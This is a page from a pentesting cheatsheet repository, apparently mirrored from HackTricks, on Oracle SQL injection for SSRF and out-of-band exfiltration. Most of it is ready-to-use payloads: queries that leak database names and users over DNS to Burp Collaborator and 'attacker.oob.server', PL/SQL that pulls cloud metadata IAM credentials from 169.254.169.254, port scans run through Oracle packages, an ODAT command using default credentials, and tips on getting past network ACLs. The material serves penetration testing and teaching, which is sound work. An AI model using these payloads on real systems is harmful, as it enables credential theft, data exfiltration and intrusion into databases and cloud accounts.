daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

oracle-injection.md (12671B)


      1 ---
      2 title: "Oracle injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/sql-injection/oracle-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/oracle-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Oracle injection
     14 
     15 **Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.<sup>[[3]](#references)</sup>
     16 
     17 ## SSRF
     18 
     19 Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.<sup>[[3]](#references)</sup>
     20 
     21 Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.
     22 
     23 I ran the docker command with the `--network="host"` flag so that I could mimic Oracle as an native install with full network access, for the course of this blogpost.
     24 
     25 ```text
     26 docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
     27 ```
     28 
     29 #### Oracle packages that support a URL or a Hostname/Port Number specification <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
     30 
     31 In order to find any packages and functions that support a host and port specification, I ran a Google search on the [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Specifically,
     32 
     33 ```text
     34 site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
     35 ```
     36 
     37 The search returned the following results (not all can be used to perform outbound network)
     38 
     39 - DBMS_NETWORK_ACL_ADMIN
     40 - UTL_SMTP
     41 - DBMS_XDB
     42 - DBMS_SCHEDULER
     43 - DBMS_XDB_CONFIG
     44 - DBMS_AQ
     45 - UTL_MAIL
     46 - DBMS_AQELM
     47 - DBMS_NETWORK_ACL_UTILITY
     48 - DBMS_MGD_ID_UTL
     49 - UTL_TCP
     50 - DBMS_MGWADM
     51 - DBMS_STREAMS_ADM
     52 - UTL_HTTP
     53 
     54 This crude search obviously skips packages like `DBMS_LDAP` (which allows passing a hostname and port number) as [the documentation page](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simply points you to a [different location](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Hence, there may be other Oracle packages that can be abused to make outbound requests that I may have missed.
     55 
     56 In any case, let’s take a look at some of the packages that we have discovered and listed above.
     57 
     58 **DBMS_LDAP.INIT**
     59 
     60 The `DBMS_LDAP` package allows for access of data from LDAP servers. The `init()` function initializes a session with an LDAP server and takes a hostname and port number as an argument.
     61 
     62 This function has been documented before to show exfiltration of data over DNS, like below
     63 
     64 ```text
     65 SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
     66 ```
     67 
     68 However, given that the function accepts a hostname and a port number as arguments, you can use this to work like a port scanner as well.
     69 
     70 Here are a few examples
     71 
     72 ```text
     73 SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
     74 SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
     75 SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
     76 SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
     77 ```
     78 
     79 A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` shows that the port is closed while a session value points to the port being open.
     80 
     81 **UTL_SMTP**
     82 
     83 The `UTL_SMTP` package is designed for sending e-mails over SMTP. The example provided on the [Oracle documentation site shows how you can use this package to send an email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). For us, however, the interesting thing is with the ability to provide a host and port specification.
     84 
     85 A crude example is shown below with the `UTL_SMTP.OPEN_CONNECTION` function, with a timeout of 2 seconds
     86 
     87 ```text
     88 DECLARE c utl_smtp.connection;
     89 BEGIN
     90 c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
     91 END;
     92 ```
     93 
     94 ```text
     95 DECLARE c utl_smtp.connection;
     96 BEGIN
     97 c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
     98 END;
     99 ```
    100 
    101 `ORA-29276: transfer timeout` indicates that the port is open but no SMTP connection was established, while `ORA-29278: SMTP transient error: 421 Service not available` indicates that the port is closed.
    102 
    103 **UTL_TCP**
    104 
    105 The `UTL_TCP` package and its procedures and functions allow [TCP/IP based communication with services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). If programmed for a specific service, this package can easily become a way into the network or perform full Server Side Requests as all aspects of a TCP/IP connection can be controlled.
    106 
    107 The example [on the Oracle documentation site shows how you can use this package to make a raw TCP connection to fetch a web page](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). We can simply it a little more and use it to make requests to the metadata instance for example or to an arbitrary TCP/IP service.
    108 
    109 ```text
    110 set serveroutput on size 30000;
    111 SET SERVEROUTPUT ON
    112 DECLARE c utl_tcp.connection;
    113   retval pls_integer;
    114 BEGIN
    115   c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
    116   retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
    117   retval := utl_tcp.write_line(c);
    118   BEGIN
    119     LOOP
    120       dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    121     END LOOP;
    122   EXCEPTION
    123     WHEN utl_tcp.end_of_input THEN
    124       NULL;
    125   END;
    126   utl_tcp.close_connection(c);
    127 END;
    128 /
    129 ```
    130 
    131 ```text
    132 DECLARE c utl_tcp.connection;
    133   retval pls_integer;
    134 BEGIN
    135   c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
    136   retval := utl_tcp.write_line(c);
    137   BEGIN
    138     LOOP
    139       dbms_output.put_line(utl_tcp.get_line(c, TRUE));
    140     END LOOP;
    141   EXCEPTION
    142     WHEN utl_tcp.end_of_input THEN
    143       NULL;
    144   END;
    145   utl_tcp.close_connection(c);
    146 END;
    147 ```
    148 
    149 Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.
    150 
    151 **UTL_HTTP and Web Requests**
    152 
    153 Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). This package is defined by the documentation as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
    154 
    155 ```text
    156 select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
    157 ```
    158 
    159 You could additionally, use this to perform some rudimentary port scanning as well with queries like
    160 
    161 ```text
    162 select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
    163 select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
    164 select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
    165 ```
    166 
    167 A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open.
    168 
    169 Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
    170 
    171 ```text
    172 SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
    173 ```
    174 
    175 ---
    176 
    177 ## Additional Packages & Techniques (Oracle 19c → 23c)
    178 
    179 ### UTL_INADDR – DNS-based exfiltration and host discovery
    180 
    181 `UTL_INADDR` exposes simple name-resolution helpers that trigger an outbound DNS lookup from the database host.  Because only a domain is required (no port/ACL needed) it is a reliable primitive for blind-exfil when other network callouts are blocked.
    182 
    183 ```sql
    184 -- Leak the DB name and current user via a DNS query handled by Burp Collaborator
    185 SELECT UTL_INADDR.get_host_address(
    186          (SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
    187          '.attacker.oob.server') FROM dual;
    188 ```
    189 
    190 `get_host_address()` returns the resolved IP (or raises `ORA-29257` if resolution fails).  The attacker only needs to watch for the incoming DNS request on the controlled domain to confirm code execution.
    191 
    192 ### DBMS_CLOUD.SEND_REQUEST – full HTTP client on Autonomous/23c
    193 
    194 Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`.  The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.<sup>[[1]](#references)</sup>
    195 
    196 ```sql
    197 -- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
    198 BEGIN
    199   -- empty credential when no auth is required
    200   DBMS_CLOUD.create_credential(
    201       credential_name => 'NOAUTH',
    202       username        => 'ignored',
    203       password        => 'ignored');
    204 END;
    205 /
    206 
    207 DECLARE
    208   resp  DBMS_CLOUD_TYPES.resp;
    209 BEGIN
    210   resp := DBMS_CLOUD.send_request(
    211              credential_name => 'NOAUTH',
    212              uri             => 'http://169.254.169.254/latest/meta-data/',
    213              method          => 'GET',
    214              timeout         => 3);
    215   dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
    216 END;
    217 /
    218 ```
    219 
    220 Because `SEND_REQUEST` allows arbitrary target URIs it can be abused via SQLi for:
    221 1. Internal port scanning / SSRF to cloud metadata services.
    222 2. Out-of-band exfiltration over HTTPS (use Burp Collaborator or an `ngrok` tunnel).
    223 3. Callbacks to attacker servers even when older callout packages are disabled by ACLs.
    224 
    225 ℹ️ If you only have a classical on-prem 19c but can create Java stored procedures, you can sometimes install `DBMS_CLOUD` from the OCI client bundle — useful in some engagements.
    226 
    227 ### Automating the attack surface with **ODAT**
    228 
    229 [ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022).<sup>[[2]](#references)</sup>  The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically:
    230 * Detect usable callout packages/ACL grants.
    231 * Trigger DNS & HTTP callbacks for blind extraction.
    232 * Generate ready-to-copy SQL payloads for Burp/SQLMap.
    233 
    234 Example: quick OOB check with default creds (takes care of ACL enumeration in the background):
    235 
    236 ```bash
    237 odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
    238 ```
    239 
    240 ### Recent network ACL restrictions & bypasses
    241 
    242 Oracle tightened default Network ACLs in the July 2023 CPU — unprivileged accounts now receive `ORA-24247: network access denied by access control list` by default.  Two patterns still allow callouts through SQLi:
    243 1. Target account owns an ACL entry (`DBMS_NETWORK_ACL_ADMIN.create_acl`) that was added by a developer for integrations.
    244 2. The attacker abuses a high-privilege PL/SQL definer-rights routine (e.g. in a custom application) that *already* has `AUTHID DEFINER` and the necessary grants.
    245 
    246 If you encounter `ORA-24247` during exploitation always search for reusable procedures:
    247 
    248 ```sql
    249 SELECT owner, object_name
    250 FROM   dba_objects
    251 WHERE  object_type = 'PROCEDURE'
    252   AND  authid       = 'DEFINER';
    253 ```
    254 
    255 (in many audits at least one reporting/export procedure had the needed rights).
    256 
    257 ---
    258 
    259 ## References
    260 
    261 - [1] [Oracle Docs – DBMS_CLOUD Subprograms and REST APIs (SEND_REQUEST)](https://docs.oracle.com/en-us/iaas/autonomous-database-serverless/doc/dbms-cloud-subprograms.html)
    262 - [2] [quentinhardy/odat – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat)
    263 - [3] [Using SQL injection to perform SSRF/XSPA attacks (ibreak.software, Wayback Machine copy)](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)